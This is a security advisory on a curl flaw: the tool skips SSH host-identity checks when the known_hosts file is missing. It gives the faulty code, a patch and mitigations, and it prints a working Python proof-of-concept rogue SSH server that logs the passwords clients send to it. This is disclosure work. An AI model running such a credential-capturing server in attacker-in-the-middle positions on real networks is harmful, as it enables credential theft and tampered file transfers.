Curl SSH Insufficient Host Identity Verification
================================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/curl-ssh-insufficient-host-identity-verification.txt
Product: curl up to and including version 8.12.0
Severity: High if important curl SSH transfers are affected. However, most end
users
are not affected. Assess the risk & impact on individual system basis.
Type: Improper Host Identity Validation
CVE: Not assigned (Not considered a vulnerability by the CNA)
Description
-----------
Curl can perform SFTP and SCP connections to download from or upload to SSH
server. As
part of this SSH connection curl validates the host identity against the
database of
known hosts (.ssh/known_hosts).
The curl man page about "--insecure" option says:
(TLS SFTP SCP) By default, every secure connection curl makes is
verified to be secure before the transfer takes place. This option
makes curl skip the verification step and proceed without
checking.
...
For SFTP and SCP, this option makes curl skip the known_hosts
verification. known_hosts is a file normally stored in the
user's home directory in the ".ssh" subdirectory, which contains
hostnames and their public keys.
WARNING: using this option makes the transfer insecure.
This documentation implies that by default (if --insecure option is not
present),
known_hosts verification will be performed, and the transfer is secure.
However, due to a
logic flaw, curl omits this validation if the .ssh/known_hosts file is missing
entirely.
When the file is missing curl connection to an SSH host system is vulnerable to
attacker
in the middle attacks. When using key based authentication, it allows a
malicious host to
spoof the target host, and either return tampered or otherwise malicious
content on
download, or for uploads for the attacker to capture the uploads. When using
password
authentication it will also leak the username and password to the attacker, and
thus
allows the attacker to connect to the intended target host with the leaked
credentials.
The ssh/.known_hosts file generally is missing for accounts that have not used
ssh
commands before. For interactive user accounts this can be considered rare. The
situation can happen more often for technical accounts set up for applications
or
automated processing. It can also easily happen when curl is deployed via
docker. For
example using dockerized curl like this is vulnerable:
$ docker run --rm curlimages/curl:8.11.1 -u bob:hunter2
sftp://target.invalid/file
The attack can be performed at any network position between the curl client and
the
target SSH server. Typical low effort attack scenario would involve running a
rogue
access point that performs the attack. More advanced exploitation is possible
by actors
with privileged access to networking equipment.
It should be noted that curl project itself doesn't consider this issue a
security
vulnerability. The project argues that the "Warning: Couldn't find a known_hosts
file"
message shown should be enough to alert the user to the issue. Additionally,
the project
argues that the documentation does not explicitly state that the operation
would be
safe if the known_hosts file is missing. The argument also is that the user
should
understand that the connection would be insecure under these circumstances.
Finally,
the project also mentions that this is the way curl has worked for a long time.
Curl
project also notes that this an area/behavior that could be improved in curl.
My remarks on these arguments are:
1. The warning message is enough to warn the users
There might not be human reading the warning message if curl is used in
automation. Even if there is, this assumes that user understands that despite
the message the user credentials have already been leaked, the download might
have been replaced with malicious content, or the upload sent to an attacker
controlled system. The message is also often hidden among a lot of other
information presented (such as the progress bar), so it's rather easy to
miss.
2. Documentation doesn't claim curl being secure in this condition
This is true, but the documentation of --insecure option explicitly says
that:
"(TLS SFTP SCP) By default, every secure connection curl makes is verified
to be secure before the transfer takes place."
This statement is quite explicit in claiming that every TLS, SFTP, SCP
connection
is secure by default, unless if curl is told to be insecure. While the
statement
"There is no documentation claiming the opposite" is true, I argue that users
can understand the documentation in a way that curl would be secure even if
the
known_hosts file is missing.
3. Users should understand curl being insecure in this condition
Experienced users might understand that something is off if they spot the
warning message. However, this assumes quite intimate understanding of SSH
protocol and host key validation. In my experience this is not capability
many
inexperienced users have. Finally, all other SSH tools (including OpenSSH) by
default will consider missing known_hosts file same as "the host is not
known".
4. Curl has worked like this for a long time
Generally, curl project doesn't want to change behavior on a whim, and I
agree
with this in most situations. Even a small behavioral change can lead to
countless of automated tasks suddenly failing. If this long-standing behavior
wouldn't lead to security impact this argument would be much stronger. Here I
believe that curl should rather outright fail if the known_hosts file is
missing.
This would be a behavioral change, and it would break some existing
workflows.
But the affected workflows are vulnerable to Attacker in the Middle attacks,
so
I believe this is acceptable.
I respect the curl project and the team and applaud their excellent security
work.
However, I can't agree with them about this issue not being a vulnerability.
The full
discussion about this can be read from the following Hackerone ticket:
https://hackerone.com/reports/2961050
Details
-------
Secure Shell (SSH) protocol depends on validation of trust. It is not merely
enough to
encrypt the communication towards a server, the client also must confirm the
identity of
the peer. The authentication aspect of SSH requires that the client has prior
knowledge
of the cryptographic identity of the target server. The SSH client must verify
the
authenticity of the server to ensure secure communication.
CWE-295: Improper Host Certificate Validation
---------------------------------------------
The curl application SSH server host certificate validation is insufficient.
Since the
authenticity check is omitted if the .ssh/known_hosts file is missing, a third
party in
privileged network position can tamper with the communication between the
client and the
server. As a result, an attacker in a privileged network position (any point
between the
curl application and the SSH server) can perform an Attacker in The Middle
attack.
This flaw is a result of a logic flaw in curl code at src/tool_operate.c:
if(!config->insecure_ok) {
char *known = findfile(".ssh/known_hosts", FALSE);
if(known) {
/* new in curl 7.19.6 */
result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
curl_free(known);
if(result == CURLE_UNKNOWN_OPTION)
/* libssh2 version older than 1.1.1 */
result = CURLE_OK;
if(result)
return result;
}
else
warnf(global, "Couldn't find a known_hosts file");
}
}
When findfile() function cannot find the ".ssh/known_hosts" in any of the
search paths,
the code will result in not setting CURLOPT_SSH_KNOWNHOSTS at all. This, in
turn, will
result in libcurl to omit validating the host identity.
As a result, curl will connect to any server, regardless of its identity.
Notably, even though curl does print "Warning: Couldn't find a known_hosts
file" to
standard error when the attack is successful, it prints this right before
connecting the
host. At that point it is too late, and typically the user doesn't have time to
react to
the warning. The confidential information (such as credentials and file on
upload
operations) have already been sent to the unverified host.
Proof of Concept
----------------
I developed a minimal proof of concept SSH server that demonstrates the issue
by capturing
the user credentials passed in curl invocation. This proof of concept does not
enable file
transfers, nor does it itself perform any attacker in the middle functionality.
1. Run a malicious SSH server:
#!/usr/bin/env python3
import paramiko.rsakey
import paramiko
import threading
import logging
import socket
logging.basicConfig(level = logging.INFO)
class SSHServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def get_allowed_auths(self, username):
logging.debug('[auth] Get username {} allowed auths'.format(username))
return "password,publickey,none"
def check_auth_none(self, username):
logging.debug('[none] Authenticated username {}'.format(username))
return paramiko.AUTH_FAILED
def check_auth_password(self, username, password):
logging.info('[pass] Authenticated username {} password
{}'.format(username, password))
return paramiko.AUTH_FAILED
class ClientConnection(threading.Thread):
def __init__(self, group = None, target = None, name = None, args = ()):
threading.Thread.__init__(self, group = group, target = target, name =
name)
self.args = args
def run(self):
hostkey = self.args[0]
client = self.args[1]
transport = None
chan = None
try:
transport = paramiko.Transport(client)
try:
transport.load_server_moduli()
except:
pass
transport.add_server_key(hostkey)
server = SSHServer()
try:
transport.start_server(server=server)
except:
logging.warning('*** SSH negotiation failed, disconnect')
client.close()
return
logging.info('Full remote version:
{}'.format(transport.remote_version))
chan = transport.accept(10)
if chan:
chan.close()
transport.close()
except Exception as e:
logging.info('*** Caught exception: {}:
{}'.format(str(e.__class__), str(e)))
if chan:
chan.close()
if transport:
transport.close()
pass
def main():
hostkey = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 2222))
sock.listen(7)
while True:
client, addr = sock.accept()
logging.info('Received connection from {}:{}'.format(addr[0], addr[1]))
t = ClientConnection(args = (hostkey, client,))
t.start()
if __name__ == '__main__':
main()
2. Connect to the malicious SSH server without a known_hosts file:
$ mv ~/.ssh/known_hosts ~/.ssh/known_hosts.backup
$ curl -u bob:hunter2 sftp://localhost:2222
3. The malicious SSH server dumps the credentials:
...
INFO:root:[pass] Authenticated username bob password hunter2
...
Mitigations
-----------
1. You can apply the following patch to fix the issue:
---8<---
diff --git a/src/tool_operate.c b/src/tool_operate.c
index 007a5e054..52e10a5f5 100644
--- a/src/tool_operate.c
+++ b/src/tool_operate.c
@@ -1170,14 +1170,13 @@ static CURLcode config2setopts(struct GlobalConfig
*global,
/* new in curl 7.19.6 */
result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
curl_free(known);
- if(result == CURLE_UNKNOWN_OPTION)
- /* libssh2 version older than 1.1.1 */
- result = CURLE_OK;
- if(result)
- return result;
}
- else
+ else {
warnf(global, "Couldn't find a known_hosts file");
+ result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, "");
+ }
+ if(result)
+ return result;
}
}
---8<---
With this modification curl command will delegate the validation to the
whichever SSH
backend that has been compiled to curl. Empty filename cannot be opened and
will result
in the host identity not considered valid. This patch also changes the
behaviour if the
SSH backend doesn't understand CURLE_UNKNOWN_OPTION option: This is now
considered a
fatal error.
Note that this patch likely won't apply as-is to all curl versions. However, the
change should be trivial to backport to other curl releases, too.
2. If you cannot change curl or build your own, there are strategies that will
prevent
this vulnerability from getting triggered:
- Ensure that the .ssh/known_hosts file exist (either preseeded with the
out-of-band validated host identities, or if there are none, have an empty
file).
or
- Employ --hostpubmd5 or --hostpubsha256 option to validate the host identity.
Timeline
--------
2025-01-27 Discovered and reported the vulnerability via curl Hackerone
program.
2025-01-27 Report declared "not security vulnerability".
2025-02-05 Released this advisory.